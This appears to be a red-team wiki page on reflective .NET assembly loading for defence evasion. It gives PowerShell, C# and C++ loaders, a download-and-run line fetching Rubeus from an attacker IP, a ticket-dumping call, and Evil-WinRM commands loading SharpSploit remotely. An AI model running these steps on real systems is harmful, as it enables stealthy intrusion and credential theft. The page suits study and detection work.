Loading .NET Reflective Assembly
MITRE ATT&CK™ Reflective Code Loading - Technique T1620
Theory
We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.
Practice
Powershell
We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]
When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.
We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.
On the Windows Tartget, via powershell, load the .NET assembly:
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)
#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))
We can now call its methods
[Rubeus.Program]::Main("dump /user:administrator".Split())
C#
We can implement Reflective Assembly Loading in C#
and load the .NET assembly of a exe/dll.
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load()
method
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program
{
static void Main(string[] args)
{
Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");
string[] fileArgs = { "arg1", "arg2", "argX" };
ExecuteAssembly(fileBytes, fileArgs);
}
public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
{
// Load the assembly
Assembly assembly = Assembly.Load(assemblyBytes);
// Find the Entrypoint or "Main" method
MethodInfo method = assembly.EntryPoint;
// Get the parameters
object[] parameters = new[] { param };
// Invoke the method with its parameters
object execute = method.Invoke(null, parameters);
}
}
}
Compile it, and execute it
PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!
C/C++
It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.
At a high level, it works as follows:
CLRCreateInstance
is used to retrieve an interface ICLRMetaHostICLRMetaHost->GetRuntime
is used to retrieve ICLRRuntimeInfo interface for a specified CLR versionICLRRuntimeInfo->GetInterface
is used to load the CLR into the current process and retrieve an interface ICLRRuntimeHostICLRRuntimeHost->Start
is used to initialize the CLR into the current processICLRRuntimeHost->ExecuteInDefaultAppDomain
is used to load the C# .NET assembly and call a particular method with an optionally provided argument
managed.cs
is a C# program that is loaded by the unmanaged process.unmanaged.cpp
is a C++ program that loads a C# assembly (managed.exe). It invoks viaExecuteInDefaultAppDomain
thespotlessMethod
method from the C# assembly
// code stolen from https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")
int main()
{
ICLRMetaHost* metaHost = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICLRRuntimeHost* runtimeHost = NULL;
DWORD pReturnValue;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
runtimeHost->Start();
HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\Csharp\\managed.exe", L"managed.Program", L"spotlessMethod", L"test", &pReturnValue);
if (res == S_OK)
{
std::cout << "CLR executed successfully\n";
}
runtimeInfo->Release();
metaHost->Release();
runtimeHost->Release();
return 0;
}
Compile it and execute it
PS > unmanaged.exe
Hi from CLR
CLR executed successfully
Tools
If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.
Dll-Loader
We can use Dll-Loader
to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu
, then it is possible to autocomplete all functions.
#Load dll from the victime disk
*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll
#Load dll from SMB server
*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll
#Load dll from HTTP server
*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll
#Call methods
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
Invoke-Binary
We can use Invoke-Binary
to load a local (on attacking host) .NET binary in memory.
#Load local .NET binary
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
Resources
Last updated
Was this helpful?